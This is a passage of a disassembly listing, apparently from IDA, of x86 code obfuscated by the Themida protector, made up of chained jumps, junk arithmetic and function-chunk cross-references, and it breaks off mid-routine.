; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5945E0:				; CODE XREF: sub_58C17E-10E2j
					; Themida_:loc_58CD7Bj
		shr	edi, 6
		sub	edi, 71E80F89h
		jmp	loc_592F62
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_5945EE:				; CODE XREF: Themida_:00596F04j
		push	24633F5Eh
		jmp	loc_590223
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_5945F8:				; CODE XREF: sub_595E21-2BEFj
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_597166
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------


loc_594608:				; CODE XREF: Themida_:00594482j
		pop	ecx
		jmp	loc_58F7F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_59460E:				; CODE XREF: sub_58F5B5-217Bj
		push	eax
		mov	eax, 4
		sub	esi, eax
		jmp	loc_58B2C6
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_59461B:				; CODE XREF: Themida_:00592D8Cj
		push	36A4h
		mov	[esp], edi
		mov	edi, 3F122986h
		shl	edi, 7
		and	edi, 497245DCh
		xor	edi, 5C852292h
		add	ecx, edi
		pop	edi
		jmp	loc_58B676
; ---------------------------------------------------------------------------


loc_59463F:				; CODE XREF: Themida_:00595067j
		push	ebx
		jmp	loc_59687B
; ---------------------------------------------------------------------------


loc_594645:				; CODE XREF: Themida_:0059599Fj
		sub	al, 98h
		jmp	loc_591993
; ---------------------------------------------------------------------------


loc_59464C:				; CODE XREF: Themida_:0058EBF9j
		pop	edx
		add	ebp, edi
		jmp	loc_58B21A

; =============== S U B	R O U T	I N E =======================================



sub_594654	proc near		; CODE XREF: sub_5916C4+2FEAj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058A314 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058A7F9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058B3A4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058C0D8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058C99E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D1B3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058D5F8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058EBB5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058F4AC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00591FF5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005927C2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059346E SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00593C61 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00594C56 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00596BA6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059710A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005977BA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00597CA5 SIZE 00000016 BYTES

		push	ebx
		mov	ebx, 4
		add	edx, ebx
		push	[esp+4+var_4]
		pop	ebx
		jmp	loc_58EBB5
sub_594654	endp

; ---------------------------------------------------------------------------


loc_594665:				; CODE XREF: Themida_:0058F0E2j
		add	edx, 0D922E379h
		mov	ecx, edx
		pop	edx
		neg	ecx
		jmp	loc_597B75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_594675:				; CODE XREF: sub_595123-9DC3j
		add	edx, edi
		jmp	loc_58B9C9
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------


loc_59467C:				; CODE XREF: Themida_:00591D06j
		add	ebx, 8CE256E9h
		push	esi
		jmp	loc_58B5AF
; ---------------------------------------------------------------------------


loc_594688:				; CODE XREF: Themida_:00592B93j
		mov	ebp, 615E7027h
		or	eax, ebp
		pop	ebp
		xor	eax, 0B4449CC9h
		sub	ebp, eax
		pop	eax
		jmp	loc_597C14
; ---------------------------------------------------------------------------


loc_59469D:				; CODE XREF: Themida_:00593D2Ej
		push	edi
		push	esi
		mov	esi, 6BE54E83h
		jmp	loc_58D38E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5946A9:				; CODE XREF: sub_5916C4+454Fj
		mov	[esp+12h+var_12], edx
		push	esp
		pop	edx
		jmp	sub_594654
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EC96


loc_5946B3:				; CODE XREF: sub_58EC96+79BAj
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK	FOR sub_58EC96
; ---------------------------------------------------------------------------
		popa
		jmp	locret_58E754
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5946BF:				; CODE XREF: sub_5916C4-520Ej
		xchg	esi, [esp-16h+arg_10+2]
		pop	esp
		push	ebp
		push	ecx
		mov	ecx, 7D0878FBh
		mov	ebp, ecx
		pop	ecx
		shr	ebp, 2
		jnp	loc_58DFBD
		jmp	loc_590118
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, edi
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_5946E3:				; CODE XREF: sub_5919E2-4659j
		pop	edx
		pop	ecx
		add	eax, ecx
		push	ecx
		push	0F372D67h
		pop	ecx
		jmp	loc_59615A
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_5946F3:				; CODE XREF: sub_592D25+22j
		jmp	loc_5909F8
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------


loc_5946F8:				; CODE XREF: Themida_:0058EA8Bj
		mov	ebx, esp
		push	4A10h
		mov	[esp], edi
		mov	edi, 46F60EE8h
		jmp	loc_58BEF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_59470C:				; CODE XREF: sub_5916C4-60C4j
					; Themida_:0058F04Ej
		shl	eax, 1
		jnp	loc_590EDD
		jmp	loc_59423F
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_594719:				; CODE XREF: sub_58F5B5+874Dj
		sub	ebp, 4291057Dh
		jnz	loc_5955E8
		add	ebp, 0F4D74686h
		mov	ebx, ebp
		pop	ebp
		inc	ebx
		xchg	ebp, ebx
		not	ebp
		pop	edx
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_594734:				; CODE XREF: sub_5EC2E8-5F292j
		mov	ebp, eax
		pop	eax
		sub	[edi+24h], ebp
		push	[esp+2Ch+var_2C]
		mov	ebp, [esp+30h+var_30]
		push	ebx
		jmp	loc_58C450
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_594746:				; CODE XREF: Themida_:005943D5j
		add	edi, 4
		jmp	loc_593C84
; ---------------------------------------------------------------------------


loc_594751:				; CODE XREF: Themida_:0058EA9Fj
		push	ecx
		mov	ecx, 1D527E60h
		dec	ecx
		inc	ecx
		push	ebp
		push	edi
		mov	edi, 57975120h
		mov	ebp, edi
		jmp	loc_59202D
; ---------------------------------------------------------------------------


loc_594767:				; CODE XREF: Themida_:00595B83j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		jmp	loc_5932B4
; ---------------------------------------------------------------------------


loc_594784:				; CODE XREF: Themida_:00591D54j
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	al, 27h
		dec	al
		jmp	loc_593C4C
; ---------------------------------------------------------------------------


loc_594794:				; CODE XREF: Themida_:0058D8F7j
		mov	[esp], eax
		mov	ah, 18h
		jmp	loc_593E23
; ---------------------------------------------------------------------------


loc_59479E:				; CODE XREF: Themida_:005968DFj
		shr	dh, 4
		jnz	loc_591432
		xor	dh, 4Ch
		jmp	loc_58F10B
; ---------------------------------------------------------------------------
		mov	bl, 0C7h


loc_5947B1:				; CODE XREF: Themida_:0058AB4Dj
		mov	ch, 0E6h
		sub	bl, ch
		mov	cx, [esp]
		add	esp, 2
		push	ecx
		mov	cl, 1Eh
		add	cl, 2Fh
		add	bl, cl
		jmp	loc_592BC0
; ---------------------------------------------------------------------------


loc_5947C9:				; CODE XREF: Themida_:0058C37Cj
		jmp	loc_591169
; ---------------------------------------------------------------------------


loc_5947CE:				; CODE XREF: Themida_:00595893j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_58D9B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_5947DC:				; CODE XREF: sub_5EC2E8-60BB4j
					; Themida_:0058DDF6j
		jp	loc_58BB23
		or	dl, 81h
		jnp	sub_596CA1
		push	ebx
		mov	bl, 1Ch
		not	bl
		jmp	loc_58FB47
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
		pop	ecx
		mov	ecx, esi
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5947F8:				; CODE XREF: sub_58C17E+146Bj
		pop	esi
		add	ebx, edi
		sub	ebx, 40314BC9h
		jmp	loc_58F7A5
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_594806:				; CODE XREF: sub_590010-341Aj
		add	esi, 644E1B53h
		push	eax
		jmp	loc_58B51F
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_594812:				; CODE XREF: sub_595E21-74F5j
		pop	ebp
		mov	ecx, ebp
		pop	ebp
		jmp	loc_59168F
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_59481B:				; CODE XREF: sub_58C17E-3A9j
		add	edi, 1CEA6F0Dh
		sub	edi, 7B762154h
		xor	edi, 73C754D7h
		jmp	loc_5921A6
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_594832:				; CODE XREF: Themida_:00592602j
		push	eax
		mov	eax, 32BB0C87h
		sub	eax, 17F21559h
		not	eax
		sub	eax, 36AB583Eh
		jmp	loc_5979D2
; ---------------------------------------------------------------------------


loc_594849:				; CODE XREF: Themida_:00594D92j
		mov	ebx, 5D525905h
		sub	[esp+8], ebx
		pop	ebx
		sub	[esp+4], ebp
		push	esi
		jmp	loc_596BD8
; ---------------------------------------------------------------------------


loc_59485D:				; CODE XREF: Themida_:005973CDj
		and	ebp, 5C543E8Bh
		jmp	loc_596D79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_594868:				; CODE XREF: sub_595258-72ABj
		mov	edx, esi
		push	[esp+0Ch+var_C]
		pop	esi
		add	esp, 4
		and	eax, edx
		pop	edx
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		jmp	loc_58C8BC
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BA12


loc_594880:				; CODE XREF: sub_58BA12+6AAEj
		not	edi
		jmp	loc_593F00
; END OF FUNCTION CHUNK	FOR sub_58BA12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_594887:				; CODE XREF: sub_58C17E+2AD5j
		push	edx
		add	[esp+4+var_4], 2BEF5894h
		pop	eax
		sub	eax, 2BEF5894h
		jmp	loc_596AAC
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_59489A:				; CODE XREF: sub_5916C4-5F4Aj
					; Themida_:00590CA6j
		mov	[esp+0], eax
		mov	eax, 1
		mov	edx, eax
		mov	eax, [esp+0]
		jmp	loc_596173
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5948AC:				; CODE XREF: sub_58C17E+712Aj
		sub	ecx, 31B152B2h
		jmp	loc_5953C4
; END OF FUNCTION CHUNK	FOR sub_58C17E

; =============== S U B	R O U T	I N E =======================================



sub_5948B7	proc near		; CODE XREF: sub_5916CB+473Bj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058BE59 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00590305 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00590E5C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00596928 SIZE 0000002E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		sub	esp, 4
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		pop	ebp
		push	eax
		mov	eax, 4
		sub	ebp, 68B54411h
		jmp	loc_596928
sub_5948B7	endp

; ---------------------------------------------------------------------------


loc_5948DF:				; CODE XREF: Themida_:0058DB5Fj
		mov	bp, 2645h
		shl	bp, 1
		jmp	loc_592369
; ---------------------------------------------------------------------------


loc_5948EB:				; CODE XREF: Themida_:00593B69j
		shr	ebx, 3
		not	ebx
		push	ecx
		mov	ecx, 59CC2972h
		neg	ecx
		inc	ecx
		not	ecx
		shl	ecx, 4
		jmp	loc_591D8C
; ---------------------------------------------------------------------------


loc_594903:				; CODE XREF: Themida_:0058F631j
		sub	esp, 4
		jmp	near ptr byte_58A717
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_59490B:				; CODE XREF: sub_595E21-9162j
					; sub_58C17E+2F9Bj
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_594910:				; CODE XREF: Themida_:005921A1j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_58BC83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_594936:				; CODE XREF: sub_58C17E+5F1Ej
		push	eax
		jmp	loc_59366E
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_59493C:				; CODE XREF: sub_590467+714Cj
		mov	edx, [esp-6+arg_0+2]
		add	esp, 4
		add	al, bh
		mov	ebx, [esp-0Ah+arg_4+2]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp-0Ah+arg_4+2]
		xor	[esp-0Ah+arg_4+2], edi
		xor	edi, [esp-0Ah+arg_4+2]
		pop	esp
		mov	[esp-0Eh+arg_8+2], ebx
		mov	bl, 35h
		push	eax
		mov	al, 0EBh
		inc	al
		xchg	cl, al
		jmp	loc_58C03A
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B70


loc_594971:				; CODE XREF: sub_590B70+102Bj
		add	edi, 25200235h
		neg	edi
		jge	loc_591909
		xor	edi, 0AFCAA726h
		push	edi
		pop	esi
		pop	edi
		mov	edx, esi
		mov	esi, [esp+4+var_4]
		add	esp, 4
		add	edx, edi
		jmp	loc_590E7D
; END OF FUNCTION CHUNK	FOR sub_590B70
; ---------------------------------------------------------------------------


loc_59499A:				; CODE XREF: Themida_:00594599j
					; Themida_:005973E4j
		pop	esi
		jmp	loc_597324
; ---------------------------------------------------------------------------


loc_5949A0:				; CODE XREF: Themida_:00595C2Ej
		xchg	edi, esi
		jmp	loc_5965E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_5949A7:				; CODE XREF: sub_5938B9-7DB8j
		pop	ecx
		add	bl, al
		jmp	loc_591EF3
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_5949AF:				; CODE XREF: Themida_:0058DEA4j
		or	esi, 5D2E09B2h
		jmp	loc_590EDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F836


loc_5949BA:				; CODE XREF: sub_58F836+5BCj
		and	ebp, edx
		jmp	loc_595EED
; END OF FUNCTION CHUNK	FOR sub_58F836
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_5949C1:				; CODE XREF: sub_5916CB-6D7Cj
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		push	5612h
		jmp	loc_597D77
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_5949D3:				; CODE XREF: Themida_:0058E02Fj
		xor	ebx, 5471A2B7h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_58E06E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_5949E4:				; CODE XREF: sub_5EC2E8-5D407j
		add	esp, 4
		pop	[esp+34h+var_34]
		mov	esp, [esp+30h+var_30]
		sub	esp, 4
		mov	[esp+34h+var_34], ebp
		sub	esp, 4
		mov	[esp+38h+var_38], esp
		jmp	loc_58B6B0
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_58C577
; ---------------------------------------------------------------------------


loc_594A0D:				; CODE XREF: Themida_:0058BCA0j
		add	edx, edi
		jmp	loc_58F74F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59590E


loc_594A14:				; CODE XREF: sub_59590E+Ej
		mov	ebx, ecx
		pop	ecx
		shl	ebx, 7
		not	ebx
		inc	ebx
		add	ebx, 719BFD82h
		add	ecx, ebx
		pop	ebx
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		jmp	loc_58DFDF
; END OF FUNCTION CHUNK	FOR sub_59590E
; ---------------------------------------------------------------------------


loc_594A34:				; CODE XREF: Themida_:00591C8Aj
		mov	ebp, 1A507240h
		jmp	loc_5951F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_594A3E:				; CODE XREF: sub_58F5B5-1F8Aj
		shr	eax, 6
		jmp	loc_58C546
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BDA


loc_594A46:				; CODE XREF: sub_5916C4-3966j
					; sub_595BDA-211Bj
		push	ecx
		mov	ch, 47h
		jmp	loc_58C7F9
; END OF FUNCTION CHUNK	FOR sub_595BDA
; ---------------------------------------------------------------------------


loc_594A4E:				; CODE XREF: Themida_:00595741j
		push	eax
		mov	eax, 4
		jmp	loc_592B87
; ---------------------------------------------------------------------------


loc_594A59:				; CODE XREF: Themida_:00594EE6j
		shl	ah, 3
		jmp	loc_58FED9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EC96


loc_594A61:				; CODE XREF: sub_58EC96+3j
		push	ax
		mov	ah, 66h
		add	cl, ah
		jmp	loc_593F42
; END OF FUNCTION CHUNK	FOR sub_58EC96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_594A6C:				; CODE XREF: sub_58F5B5+1493j
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		sub	esp, 4
		mov	[esp-4+arg_0], edi
		push	ebp
		push	esi
		push	547819ABh
		pop	esi
		mov	ebp, esi
		pop	esi
		shr	ebp, 3
		push	53B8h
		mov	[esp+4+var_4], edx
		mov	edx, 282D4C8Ch
		sub	ebp, edx
		pop	edx
		add	ebp, 500D551Eh
		jns	loc_596ACF
		add	ebp, 76162828h
		jmp	loc_5923DB
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
		mov	cl, 0D0h


loc_594AC0:				; CODE XREF: Themida_:0058E32Aj
		mov	cl, 4Eh
		xor	cl, 0AEh
		sub	bl, cl
		pop	ecx
		sub	bl, 0Ch
		add	bl, al
		add	bl, 0Ch
		push	cx
		mov	cl, 0E0h
		jmp	loc_5972CE
; ---------------------------------------------------------------------------


loc_594AD9:				; CODE XREF: Themida_:00593DB6j
					; Themida_:00597F29j
		jb	loc_594E63
		jmp	loc_58D400
; ---------------------------------------------------------------------------
		mov	edi, esi
		mov	bh, ch
		mov	bl, 4Bh


loc_594AEA:				; CODE XREF: Themida_:00594FAAj
		sub	edx, 0D607D4h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	eax
		jmp	loc_5930A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_594AFD:				; CODE XREF: sub_5916C4-1BEDj
		and	ebp, esi
		pop	esi
		xor	ebp, 70252284h
		add	ecx, ebp
		mov	ebp, [esp-10h+arg_C]
		add	esp, 4
		xchg	ecx, [esp-14h+arg_10]
		mov	esp, [esp-14h+arg_10]
		jmp	sub_591D0B
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_594B19:				; CODE XREF: Themida_:00593C50j
		jmp	loc_593B7A
; ---------------------------------------------------------------------------


loc_594B1E:				; CODE XREF: Themida_:0059666Cj
		mov	[esp], ebp
		mov	ebp, 5EB64723h
		jmp	loc_58EB69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_594B2B:				; CODE XREF: sub_58C17E:loc_58CED7j
					; sub_58C17E+BC9Bj
		push	ecx
		push	edi
		mov	edi, 2810337Eh
		jmp	loc_58D2DA
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594FD6


loc_594B37:				; CODE XREF: sub_594FD6+Ej
		pop	eax
		jmp	loc_597062
; END OF FUNCTION CHUNK	FOR sub_594FD6
; ---------------------------------------------------------------------------


loc_594B3D:				; CODE XREF: Themida_:005925D6j
		inc	bh
		xor	bh, 5Bh
		mov	cl, bh
		pop	ebx
		xor	al, cl
		mov	ecx, [esp]
		jmp	loc_58C5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BDA


loc_594B4F:				; CODE XREF: sub_595BDA-8A7Bj
		push	esp
		pop	ecx
		add	ecx, 4
		push	edi
		push	esi
		jmp	loc_597E45
; END OF FUNCTION CHUNK	FOR sub_595BDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_594B5E:				; CODE XREF: sub_5916C4+959j
		mov	ecx, esp
		jmp	loc_595705
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_594B65:				; CODE XREF: Themida_:0058CF58j
		mov	ebx, 564D74F4h
		xor	ebx, 4B7420AEh
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, 396524E6h
		push	ebx
		mov	ebx, 0C1C8776Dh
		xor	eax, ebx
		jmp	loc_5916D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_594B8D:				; CODE XREF: sub_590010+2401j
		sub	esi, eax
		pop	eax
		and	esi, 688F04B7h
		jmp	sub_595258
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_594B9B:				; CODE XREF: sub_5916C4-1E0j
		add	ebp, 0A2706DBh
		sub	edx, 5B8A3F89h
		jmp	loc_58A9A8
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_594BAC:				; CODE XREF: sub_5916CB+516Aj
		neg	eax
		jbe	loc_58C72E
		add	eax, 0B13531EBh
		jmp	loc_590C11
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
		jmp	loc_591E91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_594BC3:				; CODE XREF: sub_58F5B5+465Fj
		jmp	loc_591954
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_594BC8:				; CODE XREF: Themida_:0058B180j
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	5B68h
		mov	[esp], edi
		push	ecx
		jmp	loc_590955
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_594BDF:				; CODE XREF: sub_59762D-69D4j
		push	edx
		mov	edx, 7E802668h
		inc	edx
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		inc	edx
		shl	edx, 3
		shr	edx, 5
		add	edx, 61CCE833h
		add	ebx, edx
		pop	edx
		xor	ebp, ebx
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		push	edx
		push	esi
		mov	esi, 0
		push	esi
		pop	edx
		pop	esi
		sub	edx, ebp
		jmp	loc_597832
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_594C16:				; CODE XREF: sub_58C17E+D07j
		xchg	ecx, [esp-16h+arg_10+2]
		pop	esp
		div	cl
		movzx	cx, ah
		push	554Bh
		mov	[esp-16h+arg_10+2], esi
		push	esp
		pop	esi
		push	eax
		jmp	loc_58D085
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_594C30:				; CODE XREF: sub_59524C-6928j
		mov	edi, 7D13274Ch
		inc	edi
		push	ecx
		jmp	loc_593320
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_594C3C:				; CODE XREF: sub_5916C4+583Aj
		add	[esp-18h+arg_14], 4CB11663h
		pop	ecx
		push	edi
		push	edx
		push	17B94C21h
		pop	edx
		jmp	loc_5972E7
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_594C51:				; CODE XREF: sub_5EC2E8-606D0j
		jmp	loc_58B9A8
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594654


loc_594C56:				; CODE XREF: sub_594654-9E58j
		xor	edi, 5BBE7399h
		neg	edi
		jmp	loc_593C61
; END OF FUNCTION CHUNK	FOR sub_594654
; ---------------------------------------------------------------------------
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 2
		jmp	loc_592321
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_594C74:				; CODE XREF: sub_58C17E+4E04j
		push	edx
		mov	edx, 4F8F6799h
		mov	esi, edx
		push	dword ptr [esp+0]
		pop	edx
		add	esp, 4
		sub	esi, 4F8F6798h
		push	esi
		push	ebp
		mov	ebp, 6F646A69h
		sub	[esp+4], ebp
		pop	ebp
		pop	eax
		add	eax, 6F646A69h
		pop	esi
		shl	eax, cl
		push	24B0h
		mov	[esp+0Ah+var_C+2], edi
		mov	edi, 0FFFFFFFFh
		jmp	loc_58A7D7
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_594CB3:				; CODE XREF: sub_5916C4:loc_590EDDj
		jmp	loc_58C4FF
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_594CB8:				; CODE XREF: Themida_:0058B50Dj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_594CC1:				; CODE XREF: sub_58B4D6+AE78j
		add	eax, ebx
		pop	ebx
		push	edi
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 784120C6h
		push	ebp
		pop	edi
		jmp	loc_59242F
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_594CDA:				; CODE XREF: sub_590010+64F3j
		pop	edi
		add	ecx, 9B24B80h
		pop	eax
		push	4F17h
		mov	[esp+0], ebp
		push	38F32868h
		mov	ebp, [esp-10h+arg_C]
		jmp	loc_591B1E
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591059


loc_594CF7:				; CODE XREF: sub_591059+9j
		mov	ebp, 1A661CA9h
		mov	ebx, 80F9793Ch
		add	ebx, 5BC2138Eh
		sub	ebx, ebp
		sub	ebx, 5BC2138Eh
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		sub	ebx, 61EE235Ch
		push	eax
		mov	eax, 61F1195Ah
		jmp	loc_58CBA4
; END OF FUNCTION CHUNK	FOR sub_591059
; ---------------------------------------------------------------------------


loc_594D26:				; CODE XREF: Themida_:00595533j
		mov	esp, [esp]
		idiv	cl
		movzx	cx, ah
		push	small 3F55h
